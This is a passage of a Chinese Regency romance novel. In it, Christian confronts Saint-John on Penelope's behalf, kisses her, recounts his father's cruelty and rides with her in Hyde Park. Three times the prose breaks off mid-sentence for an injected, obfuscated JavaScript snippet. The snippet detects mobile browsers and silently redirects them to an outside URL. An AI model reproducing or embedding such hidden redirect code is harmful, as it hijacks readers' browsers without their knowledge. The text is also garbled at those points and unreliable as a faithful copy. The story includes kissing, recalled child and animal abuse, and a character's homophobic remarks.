说完，他重新转向了佩内洛普，脸上带着那曾经让多萝西与费思都很为之着迷的危险微笑：“当玛格丽特高举双手呼唤天使时，我注意到你落泪了。那让你感触很深吗，我的女士？” 克里斯蒂安立刻道：“我想，我得护送佩内洛普女爵回家了。” 圣-约翰道：“当然，但我还是必须问佩内洛普女爵一个问题，我想知道，我明天可以有这个荣幸去拜访你吗？” 佩内洛普看了克里斯蒂安一眼，道：“恐怕我与朗斯通勋爵已经有约了。” 事实上，这并不是真的，克里斯蒂安还没有来得及与她约明天，所以，她明显是已经看出了什么，并决定向着他，为他撒谎。 克里斯蒂安的心瞬间就软了下来。 圣-约翰不愿放弃：“那么，后天……” 佩内洛普道：“我后天也与朗斯通勋爵有约了。” “好吧，女士。”圣-约翰优雅地耸了耸肩，也不准备让一位女士太过难堪。 他只是忍不住又看向克里斯蒂安道：“看起来亲爱的佩内洛普女爵的时间已经被你占满了？你可真是个幸运儿。我很好奇，你究竟是怎么做到的，她都知道你的问题吗？” 听着他这意有所指的话，克里斯蒂安的眉头顿时皱了起来。 “她不需要去知道什么，她只是一个聪明的女人，不准备接受小丑的献媚。” 这句话才一出口，克里斯蒂安就已经后悔了。他实在是太冲动了，他不应该在众目睽睽下这么羞辱他人，他已经引起了周围人的注意了。 “瞧瞧这位护花使者。”圣-约翰道。 “我也希望这位女士的智慧可以就像她的美貌一般过人，那她就会意识到，她正在被你利用。你以为我不知道你与我的多蒂究竟是什么样的关系吗？她要是真能看得上你早就看上了，哪有我的份？我听说你们总算不演了，显然，现在你找到一个更完美的可以帮助你维持浪子假象的女人了。” 他一边说，一边略带轻蔑地看了看他们两人，然后，又不禁笑了：“啧啧，你说，你那虔诚了一辈子的母亲要是看到你正在为了那点可怜的自尊在对着谁大献殷勤，会不会气得从威斯敏斯特的墓园爬出来。” 圣-约翰话音刚落，周围便响起了好几声明显的惊喘。 克里斯蒂安难堪不已，被戳穿的他，此刻简直都不敢去看佩内洛普的脸。 当然，圣-约翰并没有明明白白地说什么，因为这家伙可能自己也不清楚，只是有所怀疑——毕竟他们曾经是亲密无间的同学，但毫无疑问的是，这些话马上就会传出去，有些人会觉得这是纯粹的无稽之谈，一笑置之，有些人则会开始乐呵呵地讨论他是不是个同性恋，或者是有其他的问题。 而这甚至还不是他最无法容忍的，他最无法容忍的是，这个人字里行间还狠狠地羞辱了他的佩内洛普。 为什么佩内洛普比多萝西更完美？又为什么他虔诚的母亲可能会因为他向她献殷勤而生气？因为她是一位声名狼藉的交际花，她的情人名单可能比他活过的岁数还长。 想到这里，克里斯蒂安不禁向圣-约翰走近了几步，并冷冷开口：“道歉。” 圣-约翰认得出克里斯蒂安这种神色，脸也顿时有些变了色，但他还是在犹豫。他怎么可能众目睽睽之下跟任何人道歉，不管是对克里斯蒂安还是一个花钱就能到手的著名荡.妇，他都不觉得自己真的需要道歉。 于是他也这么说了：“道歉？嗯？为哪件事道歉？为我说了一堆实话吗？” “别让我再说一遍，圣-约翰，你必须向这位女士道歉！否则你一定会付出代价。” 克里斯蒂安一边说，一边已经握紧了拳，好可以随时给对方一击，并在之后提出决斗。 圣-约翰明白自己根本打不过，此刻也不想当着这么多人的面再被揍一顿。他冷哼了一声，只能心不甘情不愿地暂且妥协，向佩内洛普鞠了一躬。 “我很抱歉，女士，我冒犯了你。” 他用不带丝毫歉意的高傲语调将这毫无诚意的道歉说完，直接扭头就走，没有再留给他们任何眼神。 克里斯蒂安冷冷地看着这个人离去的背影，心中依旧感到十分愤怒，但他犹豫之后，还是选择了克制，毕竟佩内洛普还在这里，他不希望吓到她。 想到这一点，他终于还是将目光重新转向了她，并在她眼中看到了明显的担忧与信任，那足以融化一切。 “我们走吧。”他尽可能温和地对佩内洛普说。 佩内洛普点了点头，什么也没有说，只是默默地跟随着他的脚步，并由他将自己扶上了马车。 之后，他就只是安静地看着窗外。 他不知道自己应该说什么，他的脑内此刻只有一团乱麻，他劝自己最好把这乱麻理清了再说话，否则他肯定只会胡话连篇。 他又想起了那个词，圣-约翰说他“利用”了佩内洛普。 作为曾经的同窗好友，圣-约翰确实是太熟悉他了，所以，也自然会清楚他对多萝西究竟怀着怎样的感情。多萝西在许多人眼中是非常有吸引力的，但在他的眼中却始终例外。多萝西与费思一样，对他而言就是与他一起长大的妹妹，没有其他的可能性了。 所以，确实是利用，他曾经利用了妹妹一般的多萝西，是事实，而现在，他正准备继续利用佩内洛普，同样是事实。 哪怕，那并不是全部的事实…… 他可真是个混蛋，他又比圣-约翰好到哪里去了？他一样是这么自私自利，这么不顾及他人的感受。 佩内洛普，他该怎么向她解释呢？ 他痛苦地思索着，还没思索出一个完美的结果，便感觉到佩内洛普的手轻轻地握住了他的。 这样的亲密让他浑身一震。 “那位尊敬的乔治·圣-约翰先生很讨人厌，不是吗？”她用她温柔的声音抚慰着他，“我从未见过哪位有教养的绅士会像他一样，以如此大的恶意揣测他人，还是当着这么多人的面。” 一听见她说话，克里斯蒂安的心就静了许多。 但他还是无法不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333951|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意，他甚至只要一想到她也可能会将那些话听到心里去，还可能会直接误以为他是一个同性恋，就感到他的胃都要在他的身体里扭成一团了。 至少在这方面，他还是绝对正常的，他不是同性恋，永远也不会是！ “你……你怎么看待他的话？你相信那些话可能某种程度上来说是真的吗？”他小心翼翼地问她。 “当然不相信。”她立刻道。 她甚至不明白他怎么会这么问她。 他松了口气。 可他还是想要知道她相信他的理由。 “为什么？”他又问，“也许你不知道，我与他……曾经是很好的朋友。” “那又能代表什么呢？我知道大部分男人都会这么想，但事实上，我是个女人不代表我就没有独立思考的能力，克里斯蒂安。” 克里斯蒂安静静地望着她微红的脸，意识到自己可能会永远迷恋当自己的名字被她念出来的一刻。 他就像被蛊惑了一般，情不自禁地靠近了她一些，又轻轻问：“为什么？” “你对女人是有感觉的，不是吗？”她低声道，“我能看出来的，有些时候，你对我有感觉。即便是我……” 最后一句话，她几乎没有发出声音。 她的回答确实充满了说服力。 他当然对她有感觉，这种感觉正在日日夜夜地折磨着他，令他不得安宁。 只是，他没想到她竟然也察觉到了，察觉到了他究竟有多想得到她…… 他实在不该一直逼问她的，他想。此刻，他能听到他脑海中的另一个自己正在疯狂地警告他，不要被她的话语诱惑，可他的心跳得越来越快，理智也越来越薄弱。 在他反应过来之前，他已经伸手抓住了她的肩膀，将她拥入怀中。 佩内洛普惊讶地吸了一口气，却并没有推开他，而是微微睁大了眼睛，静静地看着他。她没有退缩，也没有抗拒，她的眼中甚至带着某种难以言喻的情感，就仿佛正在等待着他的下一步动作。 他的心跳得更快了，几乎无法自持。他低下头，缓缓地、克制地，将自己的唇靠近她，轻轻地贴上了她的唇。 他知道，他绝不该这么做，但他已经无法停止。 她的嘴唇柔软得不可思议，即便他可能已经偷偷幻想了一万次，他也完全没有想到接吻竟可以是这么美妙。 此时此刻，就算是上帝最虔诚的信徒，都不可能想得到任何祷告，可以驱散吻她时内心不断升腾的炽热。 在令人头晕目眩的迷醉中，他有些笨拙地用他的嘴唇诱使她的双唇分开，之后，便小心翼翼地将他的舌头滑了进去，更仔细地探索她的甜美。 她始终没有表现出丝毫抗拒。她用娴熟的技巧回应了他的试探，并热情地挑逗了回去，令他险些无力招架。 他毕竟是对接吻没有丝毫经验，比不得她的驾轻就熟，很快，就在你来我往中落入下风。他无能为力，只能任由自己在她的吻中彻底沦陷。 在她的掌控中，强烈的欲望开始在他的血管里蔓延开来，让他整个身体都在因渴望而疼痛。 他迷迷糊糊地想，在他短短的二十五年人生中，他还从未如此接近天堂，它已经就在他的眼前，只差一步了…… 当他的手开始愈发不规矩起来，他感觉到她的手也轻轻拂过了他的大腿，正熟练地向着他的某一部分前进。 他猛地清醒了过来，一把抓住她的手推到了一边，人也赶紧挪到了马车的角落，一边喘气一边冷汗直流。 13. Chapter 13 天呐，他这种惊恐的样子一定把她给吓坏了。 想到这一点，他连忙抬起了头，想对她解释什么。 可他一看到她的表情，又闭上了嘴。 他明白，他再一次羞辱了她，他让她开始质疑自己的魅力，甚至质疑自己的价值。 他究竟该怎么向她解释他的问题呢？这真的不是她的错，是他的错，他不是一个完整的男人，他是个残次品。 他想告诉她，她是世界上最美丽的女人，没有之一，她的吻太美好了，美好得让他哪怕是就这么死去都心甘，可他真的永远也不能拥有她。 他的人生，有这个吻就足够了…… “对不起，佩内洛普。” “你不必在意。”她淡淡地说。 她依旧维持了她的淑女风度。 克里斯蒂安知道自己的道歉还远远不够，他继续道：“对不起，我明知道你根本就不想与我发展什么，我也只求可以与你成为朋友，结果，我还是完全失去理智了。对不起，对不起，天呐，这甚至还是在马车里，我怎么可以这么……这么……” 他说着说着，愈发的语无伦次起来。 他的话确实起到了一些效果，佩内洛普道：“我也没有阻止你，不是吗？我可以理解你的心情，你受到了羞辱，非常可怕的羞辱，你自然会想要立刻证明你的男子气概，这不要紧。” “不……” 那并不是他忽然吻她的全部原因。如果此刻与他一起坐在这架马车上的是另外一个女人，他永远也不可能想要亲吻对方。 “无论如何，我不该与他起冲突的，我怎么可以这么冲动呢。”他只能如此后悔道。 佩内洛普道：“你不招惹他，他也会招惹你，我看得出来，你们积怨很深。” “确实如此。” 她想了想：“是因为一位女士吗？” 克里斯蒂安道：“是的。” 她露出了然的神情，点了点头，克里斯蒂安立即意识到她一定是误会了，连忙又解释道：“他伤害了一个女孩，那个女孩就像是我的妹妹，她好不容易才从痛苦中走出来，我决不允许他有第二次伤害她的机会！” 佩内洛普顿时为自己错误的猜测而感到有些尴尬。 “我想是你帮助她走出来的。”她说。 “其实不能这么说，是她自己很坚强，而且，她也为我提供了许多帮助。” 说到这，克里斯蒂安立刻闭上了嘴。 他又一在她身边就忘形了，只恨不能把自己经历的所有一切和盘托出。他与她越相处，就越觉得她好，她不会对他刻薄的，她只会怜悯他的缺陷，怜悯他过去的遭遇，可是，哪个男人会想要他喜欢的女人怜悯他呢？ 还好佩内洛普并没有联想什么，她温柔道：“你是个好人，克里斯蒂安。” 这可能是她这一生中给出的最真诚的赞美，但听在克里斯蒂安的耳中却难免有些不是滋味。 “不，永远也别这么想，在我的心里有无数个阴暗的角落，只是你不知道。” “我只是在想我看见的东西。”佩内洛普微笑道，“我也希望你可以别去在意那些话了，克里斯蒂安。显而易见，他嫉妒你，他那些真正阴暗的心思都快在伦敦连绵的雨里发酵了，我仿佛现在都还能闻到他身上的那股子酸腐味。” 她一刻薄起来，即便克里斯蒂安再如何心情沉重，此刻也不禁被逗笑了。 见他总算是笑了，肩膀也松懈下来，她也趁热打铁，赶紧开始转移话题，好让一切都可以过去，不管是圣-约翰的话，还是之后他们之间的尴尬事。 “你很喜欢歌剧吗？” 克里斯蒂安点了点头：“我但凡唱歌能再有天分一点，我自己都想成为歌剧演员。” “男高音？”她问。 他略显羞涩地纠正道：“男低音。” “梅菲斯托费勒斯。” 这是刚与他一起看过了《浮士德》的她能想到的第一个男低音角色。 “我未来能有这个荣幸欣赏到你唱《金牛犊之歌》吗？”她半开玩笑地问。 “在我们刚欣赏了顶级歌者的表演后，我觉得还是不要谈这个，与今晚的梅菲斯托费勒斯比，我只会丢人现眼。” “他的嗓音就像是从地狱的熔炉里淬炼出来的。”佩内洛普也不禁开始感叹，“而且，他长得也挺英俊，这很好，男低音歌唱家通常不至于那么胖。” 一听她夸赞别人的相貌，克里斯蒂安就有些嫉妒。他颇为刻薄地想，那扮演梅菲斯托费勒斯的男低音确实是不像主角浮士德一般膀大腰圆，而是正好相反，头大身小，瘦得比例失调，还有…… “就是可惜，他的头发略少了一点。”克里斯蒂安一本正经道，“我曾经见过他不戴假发时的样子，一片地中海。” “太刻薄了，爵爷。”佩内洛普道。 “货真价实，佩内洛普。”克里斯蒂安仍然一脸严肃地说着，却其实自己都觉得自己的这种心思真是见不得人。 “虽然在这片土地上，男人好像总是留不住自己的头发，但像他这个年纪就秃的也还是不多。” 佩内洛普笑着扭过了头去：“如果你是想让我收回我之前对你品德的赞美，陈述事实并没有用。天呐，你让我现在满脑子都是绅士们光秃秃的头顶，我记得他们十几年前都还不是这样。我希望你可以保住你的头发，你有一头很好的头发。” 是吗？ 他努力控制住了摸一摸自己头发的冲动，道：“从我父亲的头发情况来看，我的头发应该是比较安全的。” “那真是太好了。”佩内洛普笑道。 然后，她也忍不住跟他谈他的父亲。 “我其实认识你的父亲。” 听到这句话，克里斯蒂安吓得有一瞬间的头脑空白。 “多年以前，他还曾邀请过我去他的庄园做客，只是我当时抽不出空。” 她的语气显示出她与他父亲确实就仅仅只是认识，见过几次面的认识，而并非圣经意义上的认识*。 他松了一口气，却自己都不能理解自己究竟是在这里介意些什么，他跟她有什么关系吗？他们根本还一点关系都没有。 他只是淡淡道：“你没去其实是好事，我父亲办的宴会没什么参与的必要。” 他语气的冷漠令佩内洛普有些意外。她不禁又想起了他们在剧院的对话，看来他与父亲的关系可能并不太好。 “你和你的父亲不太亲密吗？”她问。 “因为一些事情，我们一直有些隔阂，让我非常痛苦，但现在那已经不要紧了，毕竟他已经过世了。” 他说得轻松，可佩内洛普看得出来，那些伤痕依旧存在，以至于这么多年以后，他仍然会在意上帝让他的母亲死去，将他与他的妹妹留给了父亲。 “我与我的父亲也并不亲密。”佩内洛普道，“我想这也是显而易见的事情，他因为我都逃去了国外，他再也不想要看见我了。” 克里斯蒂安道：“他对你太刻薄了。” 她摇摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333952|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“他理应恨我入骨，我是家族几百年来最大的耻辱，没有之一，所有人都恨不得我可以立刻消失。” “我的父亲厌恶我。”当她伤感时，他终究忍不住自揭伤疤，“他最厌恶我。当我做错事时，他会用烟斗烫我，会把我关在衣橱一整夜。有一次我在衣橱里实在太寂寞了，我忍不住呼唤我外公送给我的小狗，而它也果然偷偷摸摸来看我。我父亲发现了，在叫它离开它不听后，气得直接把它抓起来摔在门上，还把我从衣橱里拉出来按在马粪堆里。他认为与小狗亲近，太女孩气了……” 她倒吸了一口凉气。 “我的天哪，他怎么……天底下……” 从未听说过世间还能有这种暴行的她简直连话都说不利索了。 “我默默承受了一切。”他微笑道，“但他还是生气，因为我连愤怒都不会，我从头到脚哪里都不像一个男孩。” “可你就是一个男孩啊，这是你天生的性别。”她义愤填膺道。 她的愤怒让克里斯蒂安感到整颗心都暖了起来。他对她说得越来越多了，哪怕他的妹妹都根本不知道这些，更别提他的朋友们了。可他就是本能地想要相信她，他太迷恋她的温暖。 “都已经过去了，佩内洛普。” 她深深叹了一口气：“我没想到你竟然会有这么可怕的过往。” “不要怜悯我。”他说，“我也并不好，在牧师为他念悼词时，我低着头，第一次感觉自己的生活是如此轻松、快活。我笑得很开心，真的，因为我父亲的死亡，我竟然笑得很开心，费思——我的妹妹，还以为我肩膀的抖动是因为我在痛哭。” “如果是我，我可能笑得比你还开心。我甚至会光明正大地笑，让整个葬礼都变成我的大舞台。” “我完全无法想象你在葬礼上发笑。” 她笑了笑道：“如果是伤害了我的人的葬礼，我一定会的，请相信我。” 她一边说，一边看了一眼马车窗外，已经快要到她的住所了。 她猛然意识到，她现在一点也不想与他分开，他们正在越来越了解彼此。 也许，她可以留下他，与他喝一杯？继续谈一会儿话？ 算了，还是别装糊涂了，他们都明白那是什么样的暗示。她已经太老了，不应该勾引一个年轻男人。他们会分开的，一定会分开，那会摧毁她，之后，他们再也不是朋友，再也没有任何联络。 真可笑，一个她这样的女人，现在居然真的想与一个男人做朋友。 “佩内洛普？佩内洛普？” 听到他好像一直在叫她的名字，佩内洛普终于回过了神，并将头重新转向了他。 “我很抱歉，可能是因为太累了，我好像有点走神了。” 克里斯蒂安道：“我想说的是，就在刚刚，你告诉圣-约翰我们有约了是吗？我们也许可以坐实这一点？你明天早上愿意与我一起出去骑马吗？” 佩内洛普犹豫了一下，还是选择点了点头。她确实想再见他一面，这可能是一个愚蠢的决定，但他是一个愉快的伴侣，一个她喜欢与之交谈的人，她觉得她还有许多话想要对他说。 当马车终于停下来，克里斯蒂安迅速下了车，并转身将她扶了下来。 “晚安。”他依依不舍地开口，同时将她的手举到了嘴边。 她看到他的眼睛牢牢地盯着她，内中闪现的情感几乎让她无处可逃。 但最终，她只是也微笑着回了一句：“晚安。” 没有对他多说一个字。 14. Chapter 14 第二天早上六点，克里斯蒂安准时出现在了海德公园的骑马道上。他和佩内洛普并排骑马，她穿着最新款式的深棕色骑马装。他必须得说，这个颜色与她美丽的眼睛非常相配。 她的坐骑是一匹精力充沛的阉马，但她十分轻松地驾驭着它。显而易见，她是个非常出色的骑手，而这一点也使得她几乎不像是一个淑女——她也确实早就不是合格的淑女了。淑女通常只需可以骑着马在公园里进行一点愉快的小跑就可以了，不需要过于精湛的骑术。 她总是让他出乎预料。 关于她，他究竟还不知道些什么呢？ 可能还有很多很多，甚至让他数都数不清，他感到自己每一天都在比前一天更崇拜她。 今天的天气很适合骑马。微风习习，湛蓝的天空飘着几朵白云，气温也不会太高。佩内洛普已经有一阵子没有骑过马了，尤其还是与一位如此年轻英俊的绅士一起，她打算充分享受每一刻。 他们一同穿过了大门进入海德公园，街道上的噪音逐渐消失，直到他们几乎可以想象他们此刻身处乡间深处。 佩内洛普深吸了一口气，道：“真是一个美好的早晨，你觉得呢？” 克里斯蒂安环顾着四周的树木，以及闪闪发光的九曲湖，就好像他是第一次过来一样，他道：“确实非常美好，甚至是太美好了。” 佩内洛普看着在阳光之下闪闪发光的九曲湖道：“我记得珀西·雪莱的前妻就自尽于九曲湖。” 克里斯蒂安认为这种有关于自杀的话题实在让人不安，但他犹豫了一下，仍是就着她的话继续道：“之后很快，雪莱就迎娶了他的情妇。” 可佩内洛普并不感伤，她只是道：“太愚蠢了，一个女人竟因为男人自杀。在我看来，无论经历什么，一个人最重要的都是好好活着。” “你比雪莱太太要聪明得多，女士。”克里斯蒂安道，“比起让自己沉湖，你更宁愿让男人的心为你沉没。” “也许吧。”佩内洛普笑了。 她曾经或许确实有着这样的魅力，但那毕竟是曾经了。 她策马来到了九曲湖边，然后索性跳下了马，在草坪上漫步。她用马鞭轻点湖面，看着水波荡漾，将她的倒影撕成碎片，而另一道身影亦悄然映入其中。 “而当她，那一刻的星辰，沉落。”她轻轻吟诵，声音低柔而悠远。 “怎样的冰霜覆上那一片海洋，直到我整个生命的起伏的波浪埋进冰冷的死亡，全被冻结……” 是雪莱的《心之灵》，他想。 “你说，雪莱真的在乎过她的死吗？”佩内洛普忽然问他。 他摇摇头，又点了点头：“至少这确实为他的创作提供了灵感。” “真是典型的诗人。” 她一边说，一边在太阳下拿出了一块手帕，意图擦汗，却没有拿稳，风一吹，就落在了水面上，越飘越远。 克里斯蒂安本能地就想要去替她捞，好在她及时拉住了他的手臂，阻止了他的英勇行为。 “只是一块手帕而已。我想九曲湖的故事已经够多了，不必再添一桩了。” 克里斯蒂安情不自禁地低头看了一眼她拉着他的手，然后才抬起了头道：“谢谢你，让我没有制造新闻，不然我都想好明天《泰晤士报》的头条了，比如说，‘伯爵为雪莱前妻殉情，九曲湖再添香艳传说’。” 佩内洛普眉梢一挑，戏谑道：“这可说不准，也许改成‘知名浪子为拾手帕湿身，海德公园惊现落汤勋爵’会更真实一点。” 克里斯蒂安噗嗤一声笑了出来。 以他的水性，确实后者更可能实现。 他们并肩走着，闲谈许久，直至日头渐高，佩内洛普微微眯起眼，显然已觉疲惫。她的马夫见状，正要上前搀扶女主人上马，克里斯蒂安却抢先一步。 “让我来吧。” 说完，他便弯下腰，将手指交叉在一起。她调整了一下长裙，将裙子向上提了提，让他看到了一双剪裁精美的马靴和一小节美丽的小腿。他忍不住开始幻想自己抚摸它们的场景。 真该死，他就不能够专心一点吗？ 她伸脚踏进他的掌心，他总算把心思转了回来，稳稳地将她托上了侧鞍。 他看着她的马说：“我母亲曾经有一匹叫‘卷鼻’的马。” 光是说出这个名字他就觉得趣味。 “其实它与你的马长得还有几分相似，狩猎时，它总是与她配合无间。” 佩内洛普惊讶地扬了扬眉，又俯下身去仔细看自己的马：“查理原来拥有一个卷鼻吗？我从没看出来过。” “不。”他一本正经地摇了摇头，“除了鼻子。” “卷鼻后来怎么样了？” 克里斯蒂安淡淡道：“我母亲去世没多久，它就被我父亲卖掉了。” 佩内洛普发现自己并不意外这个伤感的结果，他的父亲确实是无情透了。 “不如我们来比赛吧。”她的声音混合着湖水潺潺，“就赌……五个基尼！” 然后，她草草地为他们制定了规则，也没等他回应，深棕色的身影已如离弦之箭一般冲了出去。 于是，他也没时间深思熟虑什么，只能赶忙让身下的马跟上。 “去吧，小伙子。”他说。 而他的马从不需要进一步的敦促。 他兴奋地紧跟在她后面。在途中，她的帽子飞了出去，她似乎并没有注意到，没有给出任何反应，而是任由她那浓密、光滑的长发在凉爽的晨风中自由地飘动。 她双腿轻夹马腹，深棕色的裙裾扫过沾露的蕨草，然后，她还是没忍住，冒险地回头看了他一眼。 她不该这么做的，作为一位在马术上也颇有建树的绅士，他成功地抓住了这个好时机，弥补了他与这匹优雅、轻快的马之间的差距。 但几秒钟后，他又选择放慢了速度。 他们就这么时而你追我赶，时而并驾齐驱，直到佩内洛普率先带着她的查理冲向了她制定的终点，克里斯蒂安与他的爱马也紧跟其后。枯枝在马蹄下迸裂的脆响，他大笑的声音陌生得几乎像是来自另一个世界。 她一边整理头发一边回到他身边，温柔道：“谢谢你，克里斯蒂安。” 他扬起眉毛表示疑问。 “我自己犯了错，但你没有选择趁机赢下这场比赛，不是么？” “那也是对我的托尔不公平。” 而现在，他的托尔显然对结果很是不满，正在那儿蹦跳着，指望着主人能与这位女士重赛。 当然，与它同样的，佩内洛普的马看起来也是没玩够，仍想继续。 佩内洛普摸了摸它的鬃毛，道：“我想我们都已经累了，乖，我们回去了，然后我就奖励你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337735|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块方糖，好不好？” 克里斯蒂安在一旁眼巴巴看着，他是多么地想要这个，她把手放在他的身上，轻抚、安慰，也许甚至——他打断了这个想法，而是环顾四周。 然后，他很快就注意到不远处有两位骑手正轻松地小跑着，向他们奔来，又或者，让他说得更准确一点，一位美丽的小姐与很讨她监护人欢心的追求者。 碰巧，他们应该都认识这位小姐。 十九岁的米娜·威尔莫特，准男爵保罗·威尔莫特爵士的千金。据说他们原本准备让她十八岁时在社交界亮相，但她的祖母去世了，为了给祖母服丧，不得不拖延了一年，导致今年才是她的第一个社交季。 克里斯蒂安一想起威尔莫特小姐的父亲从前看佩内洛普的眼神就头疼，她们两个若是撞到一起，起冲突都是小事，他怕会有闲话被登在报纸上，然后佩内洛普有可能会多想。 “你认识他们吗？”佩内洛普问。 “也许吧。”克里斯蒂安模棱两可道。 “我看你不想见到他们，那我们要立刻朝反方向逃跑吗？” 克里斯蒂安不禁笑了，道：“那样太没礼节了。” “礼节也不能做饭吃，爵爷。” 他们正说着，那两个人已经走近了，克里斯蒂安的表情也冷了下来。 他很清楚他从这个男人脸上看到的是什么表情，这个男人非常尴尬，因为太忙着向威尔莫特小姐献殷勤，都没有注意到一个著名荡.妇正在与一个浮浪子弟调情。这是一位贞洁的淑女无论如何也不该看到的场景。 “你好，朗斯通勋爵。”那骑着大灰马的英俊男子说道。 “你好，威尔莫特小姐，你好，布莱克摩尔。”克里斯蒂安替他们做着介绍，“这是我的朋友佩内洛普·考德威尔女爵。” 闻言，布莱克摩尔勋爵也不得不鞠躬道：“你好，佩内洛普女爵。” 本应赶紧被护送回监护人身边的米娜·威尔莫特听了克里斯蒂安的话，也笑道：“考德威尔？我想我们是表亲？” 她看起来像是很高兴知道自己与佩内洛普有这层联系，可旁边的男士听了这种话只希望这位天真的小姐快点闭嘴。他压根不想沾这么一门堕落的亲戚，却不能跟她解释是为什么。 克里斯蒂安也显然不想与他们多说，佩内洛普更是怎么开口都是个错误。 只有米娜疑惑于众人态度，眨眨眼不知究竟是何缘故。 “我想我们还有其他事情，只能先告辞了。希望改天可以在俱乐部看见你，朗斯通，我们得再玩几局牌，让我赢回我的损失。” “那你一定得当心了。”克里斯蒂安礼貌道。 他几乎才一开口，布莱克摩尔勋爵就已经赶紧找借口催促着女士跑了。她的监护人就在附近盯着，被发现了他这个追求者八成就得直接出局了。 克里斯蒂安转过头看向佩内洛普，像是懂了什么一般，自顾自地开口道：“原来你们是表亲。” 佩内洛普的嘴唇颤动了一下，刚想说些什么，还没开口，便感觉有冰冰凉凉的东西落在了自己的身上。 她本能地抬起头来，意识到不知何时晴朗的天空已经乌云密布，来聊天兜风的绅士淑女们也纷纷乱成了一团。 在忽如其来的风雨中，他们也只能赶忙开始往回赶，于是，这个注定不愉快的话题也就这么结束了。 15. Chapter 15 当他们终于回到了佩内洛普的住宅，雨已经下得很大了，雨水劈头盖脸地打在他们的身上，使他们的衣服都湿透了。寒意透过湿透的衣服渗入他们的骨髓，他们不禁打了个寒战。 他们跌跌撞撞地进了屋，仆人迅速为他们脱下外套并裹上毛巾。 管家里德道：“艾米莉已经为你准备好了热水，女爵。” 淋得像落汤鸡的佩内洛普看了一眼同样狼狈的克里斯蒂安，点点头，道：“请照顾好朗斯通勋爵。” 说完，她就浑身发抖地跑上二楼，一路钻进了她卧室里的私人浴室。 她一直是个懂得享受的人，早早地就在房子里安装了非常现代化的管道与配件，女仆只需打开冷热水龙头就可为她准备好合适的洗澡水。 她脱掉身上的骑马服，将自己泡在芳香的水里。一时间，世间万物都仿佛在这一刻静止了。若不是理智尚存，她简直想就这么在水里睡过去。 她享受着这种感觉，也不知道自己究竟在里面泡了多久，直到听见有脚步声自门外传来，才猛地醒过了神来。 大约是艾米莉给她送早饭来了。 她忍住了加点热水再泡会儿的冲动，不甘不愿地从浴缸里出来，擦干了身体，穿上浴袍与拖鞋。 她也确实饿坏了。 她闻着食物的香味，一边低头擦着湿漉漉的头发，一边快步走出了浴室，想要迎接她的早餐，可结果，迎接的却是男人倒吸一口凉气的声音。 她吓得立即抬起了头，并迅速对上了克里斯蒂安同样震惊的双眼，以及羞得通红的脸。 天呐，他……他来她的房间做什么？ 意识到他的目光正缓步下移，佩内洛普不禁跟着低下了头去，也终于察觉到自己在卧室里太过随意，根本没有把衣服系好，它松松垮垮的，让她几乎是半裸着出现在了他面前。 她尴尬得脸都红到了脖子根，只能赶紧把衣服仔仔细细穿好。 而克里斯蒂安就像是看出了她之前的意思一般，尴尬道：“给你送点吃的，我以后一定会确认你穿好了衣服再进来的。” 他们都没觉得他这句话有问题。 然后很快，克里斯蒂安又道：“来吧，我想你一定很饿了。” 佩内洛普微微点头，在壁炉旁边坐下来，又忍不住问他：“你吃过了吗？” 他摇了摇头：“还没有。” 佩内洛普顺理成章地提议：“要和我一起吃吗？” “求之不得。”他说。 佩内洛普笑了笑，伸手抓起了自己的长发，把它们简单地盘了起来。 这让克里斯蒂安不禁有些惋惜，他喜欢看她头发散开的样子，但这样的话对于他们的关系而言，还不太适宜。 之后，他们便开始一起吃早饭。 这一切让佩内洛普感到很奇妙。 当然，与男人一起穿成这样吃东西对她来说并不陌生，只是那时候，对方通常已经是她的情人了，而他们根本不是情人，却已经如此亲密。 他们就仅仅只是普通朋友。 可天底下真的还有其他的普通朋友是这样相处的吗？ 她太缺乏异性朋友了，她不知道。 热气腾腾的食物很快温暖了饥肠辘辘的她，让她比泡澡后还要昏昏欲睡。 当她把面前的东西吃得干干净净时，克里斯蒂安意外地看了她一眼，问：“我想我太低估你的食量了，要我再去拿一些上来吗？” 佩内洛普不禁有些尴尬。绅士一向鄙视对食物太过热衷的女人，就算克里斯蒂安明显不是那种肤浅的人，现在肯定也被她惊人的食量给吓到了。 “不用了。”她说。 克里斯蒂安点了点头，往面包上涂了一层厚厚的果酱。 佩内洛普看得出来，他显然是正在犹豫什么，不然就是喜欢这种果酱喜欢得要命。 她不想失礼地打断他人的思绪，也不想就这么耐心地等待着他慢慢回神，于是她也悄悄地钻进了她的世界里，在他面前走了神。 “我必须向你道歉。”他终于开口了，于是佩内洛普也回过了神来。 